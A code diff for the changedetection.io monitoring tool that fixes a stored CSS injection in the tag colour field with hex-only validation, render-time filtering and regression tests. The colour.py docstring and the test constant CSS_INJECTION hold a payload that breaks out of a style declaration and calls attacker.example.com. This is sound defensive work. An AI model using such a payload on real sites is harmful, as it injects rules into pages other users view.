diff --git a/changedetectionio/api/Tags.py b/changedetectionio/api/Tags.py
index ae09dfe2..0b001442 100644
--- a/changedetectionio/api/Tags.py
+++ b/changedetectionio/api/Tags.py
@@ -10,6 +10,21 @@ from . import auth
 from . import validate_openapi_request, strip_internal_api_fields
 
 
+def validate_tag_colour(json_data):
+    """Return an error message when tag_colour is set to anything but a hex colour.
+
+    The value is rendered into a <style> block, so anything else is CSS injection.
+    The OpenAPI schema carries the same pattern, this is the belt to that's braces.
+    """
+    from changedetectionio.blueprint.tags.colour import is_safe_css_colour
+
+    tag_colour = json_data.get('tag_colour')
+    if tag_colour and not is_safe_css_colour(tag_colour):
+        return "tag_colour: must be a hex colour, for example #4f8ef7"
+
+    return None
+
+
 class Tag(Resource):
     def __init__(self, **kwargs):
         # datastore is a black box dependency
@@ -148,6 +163,10 @@ class Tag(Resource):
         if unknown_fields:
             return f"Unknown field(s): {', '.join(sorted(unknown_fields))}", 400
 
+        colour_error = validate_tag_colour(json_data)
+        if colour_error:
+            return colour_error, 400
+
         tag.update(json_data)
         tag.commit()
 
@@ -178,6 +197,10 @@ class Tag(Resource):
         if unknown_fields:
             return f"Unknown field(s): {', '.join(sorted(unknown_fields))}", 400
 
+        colour_error = validate_tag_colour(json_data)
+        if colour_error:
+            return colour_error, 400
+
         new_uuid = self.datastore.add_tag(title=title)
         if new_uuid:
             # Apply any extra fields (e.g. processor_config_restock_diff) beyond just title
diff --git a/changedetectionio/blueprint/tags/__init__.py b/changedetectionio/blueprint/tags/__init__.py
index c32023cb..8cc689b2 100644
--- a/changedetectionio/blueprint/tags/__init__.py
+++ b/changedetectionio/blueprint/tags/__init__.py
@@ -3,6 +3,7 @@ from flask import Blueprint, request, render_template, flash, url_for, redirect
 from flask_babel import gettext
 from loguru import logger
 
+from changedetectionio.blueprint.tags.colour import safe_css_colour
 from changedetectionio.store import ChangeDetectionStore
 from changedetectionio.flask_app import login_optionally_required
 from changedetectionio.llm.evaluator import get_llm_config as _get_llm_config
@@ -11,6 +12,9 @@ from changedetectionio.llm.evaluator import get_llm_config as _get_llm_config
 def construct_blueprint(datastore: ChangeDetectionStore):
     tags_blueprint = Blueprint('tags', __name__, template_folder="templates")
 
+    # Used by any template that writes a tag colour into a <style> block
+    tags_blueprint.add_app_template_filter(safe_css_colour, 'safe_css_colour')
+
     @tags_blueprint.route("/list", methods=['GET'])
     @login_optionally_required
     def tags_overview_page():
@@ -250,6 +254,13 @@ def construct_blueprint(datastore: ChangeDetectionStore):
 #                flash(','.join(l), 'error')
 #           return redirect(url_for('tags.form_tag_edit_submit', uuid=uuid))
 
+        # Until then, validate the fields that must not be taken on trust - tag_colour is
+        # rendered into a <style> block, where anything but a hex colour is CSS injection
+        if not form.tag_colour.validate(form):
+            for message in form.tag_colour.errors:
+                flash(message, 'error')
+            return redirect(url_for('tags.form_tag_edit', uuid=uuid))
+
         tag.update(form.data)
         tag['processor'] = 'restock_diff'
         tag.commit()
diff --git a/changedetectionio/blueprint/tags/colour.py b/changedetectionio/blueprint/tags/colour.py
new file mode 100644
index 00000000..f9f0b3a5
--- /dev/null
+++ b/changedetectionio/blueprint/tags/colour.py
@@ -0,0 +1,36 @@
+"""Validation for the user supplied tag colour, which ends up inside a CSS context.
+
+Tag colours are rendered into `<style>` blocks (watch-overview.html and
+groups-overview.html). Jinja2's HTML autoescaping does not help there - CSS injection
+needs none of the characters it escapes, so a value like
+
+    red} *{background-image:url(https://attacker.example.com/exfil)} .x{color:
+
+would break out of the `background-color:` declaration and inject arbitrary rules for
+every user viewing the page.
+
+So only a plain hex colour is accepted - checked on the way in (form + API) and again
+on the way out when rendering, so a value stored by an older version can't be rendered
+either.
+"""
+
+import re
+
+# What <input type="color"> produces (#rrggbb), plus the #rgb shorthand.
+CSS_HEX_COLOUR_REGEX = r'^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6})$'
+
+_RE_CSS_HEX_COLOUR = re.compile(CSS_HEX_COLOUR_REGEX)
+
+
+def is_safe_css_colour(value) -> bool:
+    """True if `value` is a hex colour that is safe to write into a CSS declaration."""
+    return isinstance(value, str) and bool(_RE_CSS_HEX_COLOUR.match(value.strip()))
+
+
+def safe_css_colour(value) -> str:
+    """Return `value` as a hex colour, or an empty string when it is not one.
+
+    Used at render time so anything unsafe falls back to the auto-generated colour
+    instead of being written into the stylesheet.
+    """
+    return value.strip() if is_safe_css_colour(value) else ''
diff --git a/changedetectionio/blueprint/tags/form.py b/changedetectionio/blueprint/tags/form.py
index 4c7b41df..ecfcbc8e 100644
--- a/changedetectionio/blueprint/tags/form.py
+++ b/changedetectionio/blueprint/tags/form.py
@@ -9,6 +9,7 @@ from wtforms import (
 from wtforms.fields.simple import BooleanField
 from flask_babel import lazy_gettext as _l
 
+from changedetectionio.blueprint.tags.colour import CSS_HEX_COLOUR_REGEX
 from changedetectionio.processors.restock_diff.forms import processor_settings_form as restock_settings_form
 from changedetectionio.llm.ui_strings import LLM_INTENT_TAG_PLACEHOLDER
 from changedetectionio.llm.evaluator import (
@@ -21,7 +22,12 @@ class group_restock_settings_form(restock_settings_form):
     overrides_watch = BooleanField(_l('Activate for individual watches in this tag/group?'), default=False)
     url_match_pattern = StringField(_l('Auto-apply to watches with URLs matching'),
                                     render_kw={"placeholder": _l("e.g. *://example.com/* or github.com/myorg")})
-    tag_colour = StringField(_l('Tag colour'), default='')
+    # Rendered into a <style> block, so only a plain hex colour is accepted, see colour.py
+    tag_colour = StringField(_l('Tag colour'),
+                             default='',
+                             validators=[validators.Optional(),
+                                         validators.Regexp(CSS_HEX_COLOUR_REGEX,
+                                                           message=_l('Must be a hex colour, for example #4f8ef7'))])
     llm_intent = TextAreaField('AI Change Intent',
                                validators=[validators.Optional(), validators.Length(max=2000)],
                                render_kw={"rows": "5", "placeholder": LLM_INTENT_TAG_PLACEHOLDER})
diff --git a/changedetectionio/blueprint/tags/templates/edit-tag.html b/changedetectionio/blueprint/tags/templates/edit-tag.html
index a6811a53..64d4e569 100644
--- a/changedetectionio/blueprint/tags/templates/edit-tag.html
+++ b/changedetectionio/blueprint/tags/templates/edit-tag.html
@@ -64,15 +64,16 @@
                     {% endif %}
                     <div class="pure-control-group">
                         <label>{{ _('Tag colour') }}</label>
+                        {%- set tag_colour = data.get('tag_colour')|safe_css_colour -%}
                         <div style="display:flex; align-items:center; gap:0.75em;">
                             <input type="checkbox" id="use_custom_colour"
-                                   {% if data.get('tag_colour') %}checked{% endif %}>
+                                   {% if tag_colour %}checked{% endif %}>
                             <label for="use_custom_colour" style="margin:0">{{ _('Custom colour') }}</label>
                             <input type="color" id="tag_colour_picker"
-                                   value="{{ data.get('tag_colour') or '#4f8ef7' }}"
-                                   {% if not data.get('tag_colour') %}disabled{% endif %}>
+                                   value="{{ tag_colour or '#4f8ef7' }}"
+                                   {% if not tag_colour %}disabled{% endif %}>
                             <input type="hidden" name="tag_colour" id="tag_colour_hidden"
-                                   value="{{ data.get('tag_colour', '') }}">
+                                   value="{{ tag_colour }}">
                         </div>
                         <span class="pure-form-message-inline">{{ _('Leave unchecked to use the auto-generated colour based on the tag name.') }}</span>
                     </div>
diff --git a/changedetectionio/blueprint/tags/templates/groups-overview.html b/changedetectionio/blueprint/tags/templates/groups-overview.html
index f82e2c9c..927d500b 100644
--- a/changedetectionio/blueprint/tags/templates/groups-overview.html
+++ b/changedetectionio/blueprint/tags/templates/groups-overview.html
@@ -7,8 +7,10 @@
 {%- for uuid, tag in available_tags -%}
 {%- if tag and tag.title -%}
 {%- set class_name = tag.title|sanitize_tag_class -%}
-{%- if tag.get('tag_colour') -%}
-.watch-tag-list.tag-{{ class_name }} { background-color: {{ tag.tag_colour }}; color: {{ wcag_text_color(tag.tag_colour) }}; }
+{#- Anything but a hex colour would inject CSS rules here, fall back to the generated colour -#}
+{%- set tag_colour = tag.get('tag_colour')|safe_css_colour -%}
+{%- if tag_colour -%}
+.watch-tag-list.tag-{{ class_name }} { background-color: {{ tag_colour }}; color: {{ wcag_text_color(tag_colour) }}; }
 {%- else -%}
 {%- set colors = generate_tag_colors(tag.title) -%}
 .watch-tag-list.tag-{{ class_name }} {
diff --git a/changedetectionio/blueprint/watchlist/templates/watch-overview.html b/changedetectionio/blueprint/watchlist/templates/watch-overview.html
index 204fe94c..1861aba4 100644
--- a/changedetectionio/blueprint/watchlist/templates/watch-overview.html
+++ b/changedetectionio/blueprint/watchlist/templates/watch-overview.html
@@ -91,11 +91,13 @@ document.addEventListener('DOMContentLoaded', function() {
 {%- for uuid, tag in tags -%}
     {%- if tag and tag.title -%}
     {%- set class_name = tag.title|sanitize_tag_class -%}
-        {%- if tag.get('tag_colour') -%}
+    {#- Anything but a hex colour would inject CSS rules here, fall back to the generated colour -#}
+    {%- set tag_colour = tag.get('tag_colour')|safe_css_colour -%}
+        {%- if tag_colour -%}
             .button-tag.tag-{{ class_name }},
             .watch-tag-list.tag-{{ class_name }} {
-              background-color: {{ tag.tag_colour }};
-              color: {{ wcag_text_color(tag.tag_colour) }};
+              background-color: {{ tag_colour }};
+              color: {{ wcag_text_color(tag_colour) }};
             }
             {%- else -%}
                 {%- set colors = generate_tag_colors(tag.title) -%}
diff --git a/changedetectionio/tests/test_tag_colour.py b/changedetectionio/tests/test_tag_colour.py
new file mode 100644
index 00000000..cd368712
--- /dev/null
+++ b/changedetectionio/tests/test_tag_colour.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python3
+"""
+Tag colour is rendered into a <style> block, so it must only ever be a hex colour.
+
+Anything else is stored CSS injection (GHSA-4j9m-cxq4-9c36) - Jinja2's HTML autoescaping
+does not protect a CSS context, the payload below needs none of the characters it escapes.
+
+Covers the three ways a colour can be set/rendered:
+ - the tag edit form
+ - the API (PUT and POST)
+ - rendering a value already in the datastore (from before this was validated)
+"""
+
+import json
+from flask import url_for
+from .util import get_UUID_for_tag_name
+
+CSS_INJECTION = 'red} *{background-image:url(https://attacker.example.com/exfil)} .x{color:'
+
+
+def _add_tag(client, name):
+    res = client.post(url_for("tags.form_tag_add"), data={"name": name}, follow_redirects=True)
+    assert b"Tag added" in res.data
+    return get_UUID_for_tag_name(client, name=name)
+
+
+def test_tag_colour_form_rejects_css_injection(client, live_server, measure_memory_usage, datastore_path):
+    tag_uuid = _add_tag(client, "css-injection-tag")
+
+    res = client.post(
+        url_for("tags.form_tag_edit_submit", uuid=tag_uuid),
+        data={"name": "css-injection-tag", "tag_colour": CSS_INJECTION},
+        follow_redirects=True
+    )
+    assert b"Updated" not in res.data
+    assert b"Must be a hex colour" in res.data
+
+    datastore = client.application.config.get('DATASTORE')
+    assert not datastore.data['settings']['application']['tags'][tag_uuid].get('tag_colour')
+
+    # ..and it never reaches the stylesheet on either page that renders tag colours
+    for page in (url_for("watchlist.index"), url_for("tags.tags_overview_page")):
+        assert b"attacker.example.com" not in client.get(page).data
+
+
+def test_tag_colour_form_accepts_hex(client, live_server, measure_memory_usage, datastore_path):
+    tag_uuid = _add_tag(client, "hex-colour-tag")
+
+    res = client.post(
+        url_for("tags.form_tag_edit_submit", uuid=tag_uuid),
+        data={"name": "hex-colour-tag", "tag_colour": "#4f8ef7"},
+        follow_redirects=True
+    )
+    assert b"Updated" in res.data
+
+    datastore = client.application.config.get('DATASTORE')
+    assert datastore.data['settings']['application']['tags'][tag_uuid].get('tag_colour') == '#4f8ef7'
+
+    res = client.get(url_for("tags.tags_overview_page"))
+    assert b"background-color: #4f8ef7" in res.data
+
+    # An empty value must still be allowed - that's "use the auto-generated colour"
+    res = client.post(
+        url_for("tags.form_tag_edit_submit", uuid=tag_uuid),
+        data={"name": "hex-colour-tag", "tag_colour": ""},
+        follow_redirects=True
+    )
+    assert b"Updated" in res.data
+    assert not datastore.data['settings']['application']['tags'][tag_uuid].get('tag_colour')
+
+
+def test_tag_colour_api_rejects_css_injection(client, live_server, measure_memory_usage, datastore_path):
+    api_key = live_server.app.config['DATASTORE'].data['settings']['application'].get('api_access_token')
+    headers = {'content-type': 'application/json', 'x-api-key': api_key}
+
+    res = client.post(url_for("tag"), data=json.dumps({"title": "api-colour-tag"}), headers=headers)
+    assert res.status_code == 201, res.data
+    tag_uuid = res.json['uuid']
+
+    res = client.put(url_for("tag", uuid=tag_uuid), data=json.dumps({"tag_colour": CSS_INJECTION}), headers=headers)
+    assert res.status_code == 400, res.data
+
+    # Creating a tag with a bad colour in one shot must fail too
+    res = client.post(url_for("tag"), data=json.dumps({"title": "api-colour-tag-2", "tag_colour": CSS_INJECTION}),
+                      headers=headers)
+    assert res.status_code == 400, res.data
+
+    # A hex colour is accepted and round-trips
+    res = client.put(url_for("tag", uuid=tag_uuid), data=json.dumps({"tag_colour": "#00ff00"}), headers=headers)
+    assert res.status_code == 200, res.data
+    assert client.get(url_for("tag", uuid=tag_uuid), headers=headers).json.get('tag_colour') == '#00ff00'
+
+    assert b"attacker.example.com" not in client.get(url_for("watchlist.index")).data
+
+
+def test_tag_colour_already_stored_is_not_rendered(client, live_server, measure_memory_usage, datastore_path):
+    """A value stored by an older version must still not make it into the stylesheet."""
+    tag_uuid = _add_tag(client, "poisoned-tag")
+
+    datastore = client.application.config.get('DATASTORE')
+    tag = datastore.data['settings']['application']['tags'][tag_uuid]
+    tag['tag_colour'] = CSS_INJECTION
+    tag.commit()
+
+    for page in (url_for("watchlist.index"),
+                 url_for("tags.tags_overview_page"),
+                 url_for("tags.form_tag_edit", uuid=tag_uuid)):
+        res = client.get(page)
+        assert res.status_code == 200
+        assert b"attacker.example.com" not in res.data, f"CSS injection rendered on {page}"
diff --git a/changedetectionio/translations/cs/LC_MESSAGES/messages.mo b/changedetectionio/translations/cs/LC_MESSAGES/messages.mo
index d5cc5fa2..0371ed5e 100644
Binary files a/changedetectionio/translations/cs/LC_MESSAGES/messages.mo and b/changedetectionio/translations/cs/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/cs/LC_MESSAGES/messages.po b/changedetectionio/translations/cs/LC_MESSAGES/messages.po
index 51f8eea8..7aa5647a 100644
--- a/changedetectionio/translations/cs/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/cs/LC_MESSAGES/messages.po
@@ -1309,6 +1309,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Musí být hexadecimální barva, například #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/de/LC_MESSAGES/messages.mo b/changedetectionio/translations/de/LC_MESSAGES/messages.mo
index 564b3447..aa83c6ec 100644
Binary files a/changedetectionio/translations/de/LC_MESSAGES/messages.mo and b/changedetectionio/translations/de/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/de/LC_MESSAGES/messages.po b/changedetectionio/translations/de/LC_MESSAGES/messages.po
index b03fa84a..9a73c716 100644
--- a/changedetectionio/translations/de/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/de/LC_MESSAGES/messages.po
@@ -1325,6 +1325,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Muss eine Hex-Farbe sein, zum Beispiel #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/en_GB/LC_MESSAGES/messages.po b/changedetectionio/translations/en_GB/LC_MESSAGES/messages.po
index 0b25200c..22f50c9f 100644
--- a/changedetectionio/translations/en_GB/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/en_GB/LC_MESSAGES/messages.po
@@ -1307,6 +1307,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr ""
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/en_US/LC_MESSAGES/messages.po b/changedetectionio/translations/en_US/LC_MESSAGES/messages.po
index d063cb80..74d59065 100644
--- a/changedetectionio/translations/en_US/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/en_US/LC_MESSAGES/messages.po
@@ -1307,6 +1307,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr ""
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/es/LC_MESSAGES/messages.mo b/changedetectionio/translations/es/LC_MESSAGES/messages.mo
index b7cc4f23..9500ca7e 100644
Binary files a/changedetectionio/translations/es/LC_MESSAGES/messages.mo and b/changedetectionio/translations/es/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/es/LC_MESSAGES/messages.po b/changedetectionio/translations/es/LC_MESSAGES/messages.po
index 89dee24a..82fc7e7c 100644
--- a/changedetectionio/translations/es/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/es/LC_MESSAGES/messages.po
@@ -1345,6 +1345,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Debe ser un color hexadecimal, por ejemplo #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/fr/LC_MESSAGES/messages.mo b/changedetectionio/translations/fr/LC_MESSAGES/messages.mo
index e9933461..d5847fa4 100644
Binary files a/changedetectionio/translations/fr/LC_MESSAGES/messages.mo and b/changedetectionio/translations/fr/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/fr/LC_MESSAGES/messages.po b/changedetectionio/translations/fr/LC_MESSAGES/messages.po
index a9ac2590..6831bbdd 100644
--- a/changedetectionio/translations/fr/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/fr/LC_MESSAGES/messages.po
@@ -1313,6 +1313,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Doit être une couleur hexadécimale, par exemple #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/it/LC_MESSAGES/messages.mo b/changedetectionio/translations/it/LC_MESSAGES/messages.mo
index 9e9b21ee..61fb6a6a 100644
Binary files a/changedetectionio/translations/it/LC_MESSAGES/messages.mo and b/changedetectionio/translations/it/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/it/LC_MESSAGES/messages.po b/changedetectionio/translations/it/LC_MESSAGES/messages.po
index e9fa3491..19968688 100644
--- a/changedetectionio/translations/it/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/it/LC_MESSAGES/messages.po
@@ -1309,6 +1309,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Deve essere un colore esadecimale, ad esempio #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/ja/LC_MESSAGES/messages.mo b/changedetectionio/translations/ja/LC_MESSAGES/messages.mo
index e65be01a..a998d5e1 100644
Binary files a/changedetectionio/translations/ja/LC_MESSAGES/messages.mo and b/changedetectionio/translations/ja/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/ja/LC_MESSAGES/messages.po b/changedetectionio/translations/ja/LC_MESSAGES/messages.po
index b90d2a19..1c2f5492 100644
--- a/changedetectionio/translations/ja/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/ja/LC_MESSAGES/messages.po
@@ -1314,6 +1314,10 @@ msgstr "例: *://example.com/* や github.com/myorg"
 msgid "Tag colour"
 msgstr "タグの色"
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "16進数のカラーコードを指定してください（例: #4f8ef7）"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr "タグ名"
diff --git a/changedetectionio/translations/ko/LC_MESSAGES/messages.mo b/changedetectionio/translations/ko/LC_MESSAGES/messages.mo
index d8808ff1..8470818a 100644
Binary files a/changedetectionio/translations/ko/LC_MESSAGES/messages.mo and b/changedetectionio/translations/ko/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/ko/LC_MESSAGES/messages.po b/changedetectionio/translations/ko/LC_MESSAGES/messages.po
index 2d771da5..88c43607 100644
--- a/changedetectionio/translations/ko/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/ko/LC_MESSAGES/messages.po
@@ -1315,6 +1315,10 @@ msgstr "예: *://example.com/* 또는 github.com/myorg"
 msgid "Tag colour"
 msgstr "태그 색상"
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "16진수 색상이어야 합니다. 예: #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr "태그 이름"
diff --git a/changedetectionio/translations/messages.pot b/changedetectionio/translations/messages.pot
index 67361d8c..5ca4861e 100644
--- a/changedetectionio/translations/messages.pot
+++ b/changedetectionio/translations/messages.pot
@@ -8,7 +8,7 @@ msgid ""
 msgstr ""
 "Project-Id-Version: changedetection.io 0.55.8\n"
 "Report-Msgid-Bugs-To: EMAIL@ADDRESS\n"
-"POT-Creation-Date: 2026-08-16 18:32+0200\n"
+"POT-Creation-Date: 2026-08-20 16:23+0200\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
 "Language-Team: LANGUAGE <LL@li.org>\n"
@@ -1306,6 +1306,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr ""
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.mo b/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.mo
index c8ba7ced..2662d3d7 100644
Binary files a/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.mo and b/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.po b/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.po
index 2e0c0994..0a87e629 100644
--- a/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/pt_BR/LC_MESSAGES/messages.po
@@ -1332,6 +1332,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Deve ser uma cor hexadecimal, por exemplo #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/ru/LC_MESSAGES/messages.mo b/changedetectionio/translations/ru/LC_MESSAGES/messages.mo
index 85d53487..c3678972 100644
Binary files a/changedetectionio/translations/ru/LC_MESSAGES/messages.mo and b/changedetectionio/translations/ru/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/ru/LC_MESSAGES/messages.po b/changedetectionio/translations/ru/LC_MESSAGES/messages.po
index e00e0e99..f03c031d 100644
--- a/changedetectionio/translations/ru/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/ru/LC_MESSAGES/messages.po
@@ -1396,6 +1396,10 @@ msgstr "например *://example.com/* или github.com/myorg"
 msgid "Tag colour"
 msgstr "Цвет тега"
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Должен быть шестнадцатеричный цвет, например #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr "Имя тега"
diff --git a/changedetectionio/translations/tr/LC_MESSAGES/messages.mo b/changedetectionio/translations/tr/LC_MESSAGES/messages.mo
index c7565cd5..ed8593ae 100644
Binary files a/changedetectionio/translations/tr/LC_MESSAGES/messages.mo and b/changedetectionio/translations/tr/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/tr/LC_MESSAGES/messages.po b/changedetectionio/translations/tr/LC_MESSAGES/messages.po
index 7600f3f7..46eddae2 100644
--- a/changedetectionio/translations/tr/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/tr/LC_MESSAGES/messages.po
@@ -1342,6 +1342,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Onaltılık bir renk olmalıdır, örneğin #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/uk/LC_MESSAGES/messages.mo b/changedetectionio/translations/uk/LC_MESSAGES/messages.mo
index 8eb488c1..c9afed2e 100644
Binary files a/changedetectionio/translations/uk/LC_MESSAGES/messages.mo and b/changedetectionio/translations/uk/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/uk/LC_MESSAGES/messages.po b/changedetectionio/translations/uk/LC_MESSAGES/messages.po
index db2914ce..adeea22e 100644
--- a/changedetectionio/translations/uk/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/uk/LC_MESSAGES/messages.po
@@ -1322,6 +1322,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "Має бути шістнадцятковий колір, наприклад #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/zh/LC_MESSAGES/messages.mo b/changedetectionio/translations/zh/LC_MESSAGES/messages.mo
index 845ae3ff..9f2e44b5 100644
Binary files a/changedetectionio/translations/zh/LC_MESSAGES/messages.mo and b/changedetectionio/translations/zh/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/zh/LC_MESSAGES/messages.po b/changedetectionio/translations/zh/LC_MESSAGES/messages.po
index c83a6a9b..154d4a2e 100644
--- a/changedetectionio/translations/zh/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/zh/LC_MESSAGES/messages.po
@@ -1312,6 +1312,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "必须是十六进制颜色，例如 #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""
diff --git a/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.mo b/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.mo
index 1773ee8c..8f4dc0f0 100644
Binary files a/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.mo and b/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.mo differ
diff --git a/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.po b/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.po
index 3374d161..645a630a 100644
--- a/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.po
+++ b/changedetectionio/translations/zh_Hant_TW/LC_MESSAGES/messages.po
@@ -1311,6 +1311,10 @@ msgstr ""
 msgid "Tag colour"
 msgstr ""
 
+#: changedetectionio/blueprint/tags/form.py
+msgid "Must be a hex colour, for example #4f8ef7"
+msgstr "必須是十六進位色碼，例如 #4f8ef7"
+
 #: changedetectionio/blueprint/tags/form.py
 msgid "Tag name"
 msgstr ""